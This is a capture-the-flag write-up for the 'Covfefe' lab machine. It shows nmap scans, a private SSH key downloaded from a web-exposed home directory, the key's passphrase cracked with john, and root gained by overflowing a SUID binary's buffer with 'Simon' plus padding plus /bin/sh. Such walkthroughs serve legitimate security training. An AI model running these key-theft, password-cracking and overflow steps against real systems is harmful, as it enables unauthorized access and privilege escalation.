Covfefe One – Writeup


This machine is,199/

Recon Phase

As normal I started with a host discovery scan

root@kali:~# nmap -sn
Nmap scan report for
Host is up (0.00044s latency).
MAC Address: 0A:00:27:00:00:16 (Unknown)
Nmap scan report for
Host is up (0.00044s latency).
MAC Address: 08:00:27:04:A5:51 (Oracle VirtualBox virtual NIC)
Nmap scan report for
Host is up (0.0015s latency).
MAC Address: 08:00:27:93:34:2A (Oracle VirtualBox virtual NIC)
Nmap scan report for
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.84 seconds

Knowing the target was on I carried out a service discovery scan

root@kali:~# nmap -sV
Nmap scan report for
Host is up (0.00059s latency).
Not shown: 997 closed ports
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10 (protocol 2.0)
80/tcp    open  http    nginx 1.10.3
31337/tcp open  http    Werkzeug httpd 0.11.15 (Python 3.5.3)
MAC Address: 08:00:27:93:34:2A (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds

Gaining Access

To start with I wanted to see what was running on the port 80 web server. To check this I navigated to in browser

Screenshot 1

There was nothing helpful on this, no robots.txt and dirbuster didn’t find anything. Feeling like I may have run into a decoy, I moved onto the web server on port 31337

Screenshot 2

This time there was a robots.txt

Screenshot 3

Checking out /taxes revealed a flag

Screenshot 4


Seeing a bashrc and profile file in a web server was unusual, and to me indicated this may be a python SimpleHTTPServer running in a home directory. So I decided to see if anything useful from the home dir was available to me. So i checked for /.ssh

Screenshot 5

This was what I hoped for, I downloaded and saved both id_rsa and authorized_keys

root@kali:~# cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzG6cWl499ZGW0PV+tRaOLguT8+lso8zbSLCzgiBYkX/xnoZx0fneSfi93gdh4ynVjs2sgZ2HaRWA05EGR7e3IetSP53NTxk5QrLHEGZQFLId3QMMi74ebGBpPkKg/QzwRxCrKgqL1b2+EYz68Y9InRAZoq8wYTLdoUVa2wOiJv0PfrlQ4e9nh29J7yPgXmVAsy5ZvmpBp5FL76y1lUblGUuftCfddh2IahevizLlVipuSQGFqRZOdA5xnxbsNO4QbFUhjIlA5RrAs814LuA9t2CiAzHXxjsVW8/R/eD8K22TO7XEQscQjaSl/R4Cr1kNtUwCljpmpjt/Q4DJmExOR simon@covfefe

This told me the account was called simon. In order to use the id_rsa I first had to chmod it to “safe” values

root@kali:~# chmod 600 id_rsa

I then attempted to use it to connect

root@kali:~# ssh [email protected] -i id_rsa
Enter passphrase for key './id_rsa':

As the ssh key needed a passphrase I used ssh2john to set it up to be cracked

root@kali:~# ssh2john id_rsa > crack_this

And then used john to crack it

root@kali:~# john --format=SSH --wordlist /usr/share/wordlists/rockyou.txt crack_this
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
starwars         (id_rsa)
1g 0:00:00:00 DONE (2018-07-10 19:42) 12.50g/s 8500p/s 8500c/s 8500C/s starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now knowing the passphrase I used the key to connect via ssh

root@kali:~# ssh [email protected] -i id_rsa

Priv Esc

I first wanted to see what I could do, but it turned out sudo was not enabled

simon@covfefe:~$ sudo -l
-bash: sudo: command not found

Without sudo I wanted to see if there were other users to take over, so I grabbed the user list

simon@covfefe:~$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

With no obvious other users I began to dig

simon@covfefe:~$ ls -la
drwxr-xr-x 3 simon simon 4096 Jul  9  2017 .
drwxr-xr-x 3 root  root  4096 Jun 28  2017 ..
-rw------- 1 simon simon   19 Jun 28  2017 .bash_history
-rw-r--r-- 1 simon simon  220 Jun 28  2017 .bash_logout
-rw-r--r-- 1 simon simon 3526 Jun 28  2017 .bashrc
-rwxr-xr-x 1 simon simon  449 Jul  9  2017
-rw-r--r-- 1 simon simon  675 Jun 28  2017 .profile
-rw-r--r-- 1 simon simon   70 Jul  9  2017 robots.txt
drwx------ 2 simon simon 4096 Jun 28  2017 .ssh
simon@covfefe:~$ cd ..
simon@covfefe:/home$ ls -la
drwxr-xr-x  3 root  root  4096 Jun 28  2017 .
drwxr-xr-x 21 root  root  4096 Jun 28  2017 ..
drwxr-xr-x  3 simon simon 4096 Jul  9  2017 simon

With nothing useful here I attempted to use but “strings” was not installed which prevented it working. Knowing that there was a good chance there would be a flag in /root I attempted to access the directory, and surprisingly it worked

simon@covfefe:~$ cd /root
simon@covfefe:/root$ ls -la
drwxr-xr-x  2 root root 4096 Jul  9  2017 .
drwxr-xr-x 21 root root 4096 Jun 28  2017 ..
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-------  1 root root   75 Jul  9  2017 flag.txt
-rw-r--r--  1 root root  148 Aug 18  2015 .profile
-rw-r--r--  1 root root  767 Jul  9  2017 read_message.c

There was a flag but I could not access it, so I instead inspected the C code

simon@covfefe:/root$ cat read_message.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
    char program[] = "/usr/local/sbin/message";
    char buf[20];
    char authorized[] = "Simon";
    printf("What is your name?\n");
    // Only compare first five chars to save precious cycles:
    if (!strncmp(authorized, buf, 5)) {
        printf("Hello %s! Here is your message:\n\n", buf);
        // This is safe as the user can't mess with the binary location:
        execve(program, NULL, NULL);
    } else {
        printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);

First, in the code was flag 2


Now this code looked vulnerable to a buffer overflow. The unchecked storage of user input into a buffer meant I would be able to overwrite memory, and as this program already opened another, I wouldn’t even need full shellcode, instead I just had to overwrite the program[] buffer. As the strncmp function only compared the first 5 characters I would still be able to provide the required “Simon” to trigger the execve call, while still being able to overflow into the program buffer. The exploit needed to be

Simon + 15 Bytes + /bin/sh

I was using /bin/sh as bash has some protections against using it like this but sh does not. The exploit I decided to use was


Ready to try it, I ran the program

simon@covfefe:/root$ read_message
What is your name?

I then provided it with my exploit string as the name

Hello SimonAAAAAAAAAAAAAAA/bin/sh! Here is your message:

And a shell was spawned

# id
uid=1000(simon) gid=1000(simon) euid=0(root) groups=1000(simon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

With an euid of 0, I now had a root shell and could grab the last flag

# cat /root/flag.txt
You did it! Congratulations, here's the final flag:

With that the machine was completed

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.